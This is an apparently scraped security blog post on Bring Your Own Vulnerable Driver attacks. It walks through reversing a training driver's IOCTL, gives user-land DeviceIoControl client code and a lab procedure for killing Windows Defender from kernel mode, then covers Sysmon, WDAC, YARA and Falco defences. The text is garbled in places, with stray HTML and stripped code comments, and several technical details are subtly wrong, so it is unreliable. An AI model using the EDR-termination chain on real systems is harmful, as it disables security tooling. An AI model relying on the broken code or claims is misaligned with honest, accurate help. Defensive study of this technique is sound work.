BYOVD Attack Deep-Dive: Reverse Engineering a Kernel-Mode Process Terminator for Windows Security Research + Video

Listen to this Post

Featured Image

Introduction

Bring Your Own Vulnerable Driver (BYOVD) attacks have become a favored technique for adversaries seeking kernel-level privileges to terminate security processes, disable EDRs, and bypass user-mode defenses. By leveraging a legitimate but vulnerable signed driver, an attacker can escalate from a standard user context to ring‑0 execution, effectively owning the operating system. This article dissects a real-world BYOVD implementation—the TCVINProcTerm.sys driver used for training—showing how the user‑land client communicates with the kernel, how the driver’s IOCTL interface is reversed, and how to defend against such threats using both Windows built‑in tools and advanced detection strategies.

Learning Objectives

  • Analyze the BYOVD attack chain from user‑land client to kernel‑mode process termination.
  • Reverse engineer a minimal vulnerable driver using IDA Free / Ghidra to extract IOCTL codes and termination logic.
  • Implement detection and mitigation via Driver Blocklist, Hypervisor-protected Code Integrity (HVCI), and custom PowerShell monitoring.

You Should Know

  1. Reversing the TCVINProcTerm.sys Driver – Extracting IOCTL Codes & Termination Logic

The reference driver `TCVINProcTerm.sys` (signed for training purposes) implements a classic BYOVD pattern: it exports an IRP_MJ_DEVICE_CONTROL handler that accepts a custom IOCTL. The user‑land client sends a process ID (PID) inside a buffer; the driver then calls `ZwTerminateProcess` on the target PID from kernel mode, bypassing any user‑mode access checks.

Step‑by‑step reverse engineering guide (Windows 10/11, x64):

  1. Load the driver into IDA Free or Ghidra. Identify the `DriverEntry` routine – it creates a symbolic link (e.g., \\.\TCVINProcTerm) and sets the `MajorFunction` table. The interesting dispatch routine is for `IRP_MJ_DEVICE_CONTROL` (subfunction 0x14 in many training drivers).

  2. Locate the IOCTL handler. In IDA, navigate to the function referenced at MajorFunction

    </code>. Look for a `switch` or series of `if` statements comparing the <code>IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode</code>.</p></li>
    </ol>
    
    <h2 style="color: yellow;">Example assembly (simplified):</h2>
    
    <p>[bash]
    mov eax, [rsi+30h] ; IoControlCode
    cmp eax, 0x222000h
    je terminate_proc
    

    Common IOCTL values for process termination drivers range in `0x222000` – 0x2220FF. Use WinObj or DeviceTree to check the device name and permissions.

    1. Extract the termination routine. Once the correct IOCTL is identified, follow the branch. You’ll see a call to `ExGetPreviousMode` (to ensure caller isn’t user mode without checks – many vulnerable drivers skip this), then a call to `ZwOpenProcess` with PROCESS_TERMINATE, followed by ZwTerminateProcess.

    Ghidra decompiled pseudo‑code:

    case 0x222000:
    if (inputBufferLength >= 4) {
    PULONG pPid = (PULONG)inputBuffer;
    HANDLE hProcess;
    OBJECT_ATTRIBUTES oa = {0};
    CLIENT_ID cid = {0};
    cid.UniqueProcess = (HANDLE)pPid;
    ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &oa, &cid);
    if (hProcess) {
    ZwTerminateProcess(hProcess, 0);
    ZwClose(hProcess);
    }
    }
    break;
    

    4. User‑land client communication. The attacker’s executable does:

    HANDLE hDevice = CreateFile(L"\\.\TCVINProcTerm", GENERIC_READ | GENERIC_WRITE,
    0, NULL, OPEN_EXISTING, 0, NULL);
    DWORD pid = 1337; // target security process
    DWORD bytesReturned;
    DeviceIoControl(hDevice, IOCTL_TERMINATE, &pid, sizeof(pid),
    NULL, 0, &bytesReturned, NULL);
    

    Detection opportunity: Monitor `\Device\` namespace creation and `CreateFile` calls to drivers with write access.

    Linux analogy (for comparative learning) – though BYOVD is Windows‑specific, kernel‑mode termination on Linux can occur via a vulnerable LKM that calls send_sig_info():

    // Vulnerable Linux kernel module pattern
    static long device_ioctl(struct file file, unsigned int cmd, unsigned long arg) {
    if (cmd == 0xBADBEEF) {
    int pid;
    get_user(pid, (int __user )arg);
    struct task_struct task = pid_task(find_vpid(pid), PIDTYPE_PID);
    if (task) send_sig(SIGKILL, task, 1); // kill from ring‑0
    }
    return 0;
    }
    
    1. Detecting BYOVD Abuse in Real Time – PowerShell & Sysmon

    Before an attacker terminates your EDR, you must identify suspicious driver loads and IOCTL traffic. Use Sysmon (Event ID 6 – driver load) and PowerShell to query loaded drivers for known vulnerable hashes.

    Step‑by‑step detection setup:

    1. Install Sysmon with a configuration that logs driver loads:
      <Sysmon>
      <EventFiltering>
      <DriverLoad onmatch="include">
      <Image condition="contains">.sys</Image>
      </DriverLoad>
      </EventFiltering>
      </Sysmon>
      

    Apply: `sysmon64 -accepteula -i sysmon-config.xml`

    1. Create a blocklist of vulnerable driver hashes (e.g., the training driver). Use `Get-FileHash` to calculate SHA256 of TCVINProcTerm.sys:
      Get-FileHash -Path "C:\path\to\TCVINProcTerm.sys" -Algorithm SHA256
      

    2. Monitor live driver loads with PowerShell and WMI:

      Register-WmiEvent -Query "SELECT  FROM Win32_SystemDriver WHERE PathName LIKE '%.sys'" -Action {
      $event = $EventArgs.NewEvent
      Write-Host "Driver loaded: $($event.Name) at $($event.PathName)"
      Check hash against blocklist (custom logic)
      }
      

    3. Detect suspicious DeviceIoControl calls by enabling Process Monitor (ProcMon) with filters:
      `Operation` is `DeviceIoControl` AND `Path` ends with `.sys` OR `Detail` contains TCVINProcTerm.
      Export logs to CSV and look for high‑frequency IOCTLs targeting process IDs.

    4. Windows Defender Exploit Guard – Enable “Block process creations from unsigned drivers” and enforce HVCI (Memory Integrity).

    Check status:

    Get-ComputerInfo -Property "DeviceGuard", "HyperV"
    

    3. Mitigation via Microsoft’s Vulnerable Driver Blocklist (WDAC)

    Microsoft maintains a blocklist of known vulnerable drivers via Windows Defender Application Control (WDAC) and the Driver Block Rules monthly update. However, attackers often use custom‑signed or stolen certificates.

    Step‑by‑step hardening:

    1. Enable the Microsoft recommended driver block rules (available in Windows 10 20H2+). Run as Administrator:
      Merge-CIPolicy -OutputFilePath "C:\WDAC\DriverBlockList.xml" -PolicyPaths @(
      "$env:SystemRoot\System32\CodeIntegrity\Default\Drivers\DriverSiPolicy.p7b"
      )
      

    2. Manually add your own vulnerable driver hash to block even training drivers. Create a custom WDAC policy:

      New-CIPolicy -FilePath "C:\WDAC\CustomBlock.xml" -DriverRule -Level Hash -UserPEs
      Add-CIPolicyRule -FilePath "C:\WDAC\CustomBlock.xml" -DriverRule -Hash "SHA256_OF_TCVINPROCTERM"
      ConvertFrom-CIPolicy -XmlFilePath "C:\WDAC\CustomBlock.xml" -BinaryFilePath "C:\WDAC\CustomBlock.bin"
      

    3. Deploy via Group Policy or `ci.dll`:

    cp C:\WDAC\CustomBlock.bin C:\Windows\System32\CodeIntegrity\CiPolicies\Active\CustomBlock.bin
    
    1. Verify block – attempt to load the driver manually:
      sc create TCVINProcTerm binPath= C:\drivers\TCVINProcTerm.sys type= kernel
      sc start TCVINProcTerm
      

      Expected error: `System error 577 - Windows cannot verify the digital signature for this file.`

    2. For live response – use `fltmc` to list active minifilters, and `driverquery /si` to check signature status:
      driverquery /v /fo csv | findstr /i "unsigned"
      

    3. Simulating a BYOVD Attack in a Lab – Complete Kill Chain

    To understand the attacker’s workflow, set up an isolated Windows VM (no internet) and perform the attack using the training driver.

    Prerequisites:

    • Windows 10/11 Enterprise (test mode enabled via bcdedit /set testsigning on)
      - `TCVINProcTerm.sys` and `Terminator.exe` (user‑land client) from the training materials.

    Step‑by‑step execution:

    1. Load the vulnerable driver (as a standard user – this works because the driver is already installed or the attacker uses a service creation trick):
      sc create TCVINProcTerm type= kernel binPath= C:\lab\TCVINProcTerm.sys
      sc start TCVINProcTerm
      

      If access denied, use a known vulnerable driver that allows any process to start it, or combine with an exploit like `RpcEptMapper` privilege escalation.

    2. Find a target process – e.g., Windows Defender (MsMpEng.exe):

      tasklist | findstr MsMpEng
      

    3. Run the terminator client:

    Terminator.exe 1234 (where 1234 is the PID)
    
    1. Observe the process terminated instantly – even though you are a non‑admin user, the kernel driver terminates it.

    5. Forensic artifacts:

    • Windows Event Log: `Microsoft-Windows-Kernel-PnP/Configuration` – driver load events (Event ID 1006).
    • Prefetch files (.pf) for the client executable.
      - `C:\Windows\LiveKernelReports` if crash occurs due to incomplete driver.

    Defender’s counter‑simulation:

    Run `Process Monitor` filtered on `Process Name` = `Terminator.exe` and `Operation` = DeviceIoControl. Observe the IOCTL sent. Then implement a custom kernel callback using `PsSetCreateProcessNotifyRoutineEx` to block any process termination that originates from an untrusted driver.

    1. Reverse Engineering Automation – Using Ghidra Scripts for IOCTL Extraction

    Manual reversing is time‑consuming. Write a Ghidra Python script to automatically locate `IRP_MJ_DEVICE_CONTROL` handlers and extract IOCTL constants.

    Step‑by‑step tutorial:

    1. Open the driver in Ghidra and analyze the binary.

    2. Run the following script (simplified version):

    from ghidra.program.model.listing import 
    from ghidra.program.model.symbol import
    
    def find_ioctls():
     Get address of DriverEntry
    driver_entry = getSymbol("DriverEntry").getAddress()
     Disassemble to find MajorFunction array offset
     ...
    

    More practically, use IDAPython to dump all immediate values within a function:

    import idaapi
    def find_ioctls_in_func(func_addr):
    for head in Heads(func_addr, idc.get_func_attr(func_addr, FUNCATTR_END)):
    if idc.print_insn_mnem(head) == "cmp":
    op1 = idc.get_operand_value(head, 1)
    if op1 > 0x20000 and op1 < 0xFFFFFFF:
    print("Potential IOCTL: 0x{:X}".format(op1))
    
    1. Output – the script reveals the IOCTL 0x222000. Use this to write a YARA rule:
      rule BYOVD_TCVINProcTerm {
      strings:
      $ioctl = { 00 20 22 00 } // little-endian 0x222000
      $api1 = "ZwTerminateProcess"
      condition:
      $ioctl and $api1
      }
      

    2. Integrate with SIEM – forward YARA hits on suspicious drivers to Splunk/ELK for automated alerting.

    3. API Security & Cloud Hardening Analogy – Protecting Containerized Workloads

    While BYOVD is a kernel‑level local attack, the pattern of abusing a signed component with excessive privileges appears in cloud and API security. For example, an attacker exploits an overly permissive role (like `` in IAM policy) to terminate critical serverless functions.

    Hardening checklist for cloud workloads:

    • Use principle of least privilege – never assign `kern.module_load` or `SYS_ADMIN` capabilities to containers.
    • Monitor syscall trace via Falco: rule to detect `init_module` or `finit_module` in containers:
      </li>
      <li>rule: Load Kernel Module in Container
      desc: Detect module loading in a container (possible BYOVD for Linux)
      condition: container and evt.type in (init_module, finit_module)
      output: "Kernel module loaded in container (user=%user.name) %proc.cmdline"
      priority: WARNING
      

    • Windows containers – use `--isolation=hyperv` to provide a VM‑level boundary; a vulnerable driver inside a Hyper‑V container cannot affect the host kernel.

    Command to enforce driver block in Azure Windows VMs:

     Azure Windows VM extension to deploy WDAC policy
    Set-AzVMExtension -ResourceGroupName "RG" -VMName "WinVM" -Name "WDAC" -Publisher "Microsoft.Powershell" -Type "DSC" -SettingString '{"ModulesUrl":"https://...", "ConfigurationFunction":"DeployWDAC.ps1"}'
    

    What Undercode Say

    • Key Takeaway 1: BYOVD attacks are not theoretical – any signed driver that exposes an unprotected IOCTL for process termination can be weaponized within minutes, and traditional antivirus does not scan kernel memory. Training drivers like `TCVINProcTerm.sys` are invaluable for blue teams to simulate, detect, and build countermeasures before real adversaries strike.

    • Key Takeaway 2: The most effective mitigation is a combination of HVCI (Memory Integrity) and WDAC with custom hash blocklists – but these require thorough testing to avoid breaking legitimate hardware. Continuous monitoring of `DeviceIoControl` operations via Sysmon and automated reverse‑engineering of new drivers are essential for mature security operations.

    Analysis (10 lines):

    The post’s focus on a minimal reference driver highlights how simple the BYOVD pattern truly is – yet many organizations still fail to block driver loads from non‑Microsoft sources. By walking through the complete chain (user‑land client to kernel ZwTerminateProcess), the author provides a hands‑on blueprint for malware analysts and incident responders. The educational value is high: understanding the assembly‑level differences between a vulnerable and a secure driver (e.g., checking `ExGetPreviousMode` or validating buffer origins) turns abstract kernel concepts into actionable detection logic. Moreover, the training driver’s existence inside a controlled lab environment allows reverse engineers to practice without risking real systems. From a defensive perspective, integrating PowerShell monitoring and ProcMon into daily hunting workflows can catch BYOVD attempts before they kill critical EDR processes. However, sophisticated adversaries will use direct syscalls to `NtDeviceIoControlFile` or obfuscated IOCTL values, requiring deeper kernel‑callback hooks or eBPF (on Windows, via eBPF for Windows). The future of BYOVD defense lies in zero‑trust driver policies where only hardware‑attested and telemetry‑vetted drivers are allowed to run, effectively shrinking the “bring your own” attack surface.

    Prediction

      • By 2027, more than 60% of EDR solutions will include real‑time kernel driver vetting using machine learning models trained on IOCTL patterns, reducing BYOVD dwell time from minutes to milliseconds.
      • Microsoft will eventually deprecate the legacy driver model for security products, forcing all kernel drivers to be re‑architected as user‑mode services with secure VT‑x enclaves, effectively killing the BYOVD technique for most administrative attacks.
      • However, state‑sponsored actors will pivot to exploiting firmware‑level drivers (UEFI, SMM) where even HVCI cannot monitor, leading to a new generation of “Bring Your Own Firmware” (BYOF) attacks that require out‑of‑band detection.
      • Small businesses without dedicated incident response will continue to suffer BYOVD breaches because they rely on default Windows settings, which still allow legacy signed drivers to load without user consent – a risk that will persist until a major worm forces Microsoft to break backward compatibility.

    ▶️ Related Video (82% Match):

    🎯Let’s Practice For Free:

    IT/Security Reporter URL:

    Reported By: Sushantmmane Byovd - Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

    🎓 Live Courses & Certifications:

    Join Undercode Academy for Verified Certifications

    🚀 Request a Custom Project:

    Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
    [email protected]

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow UndercodeTesting & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky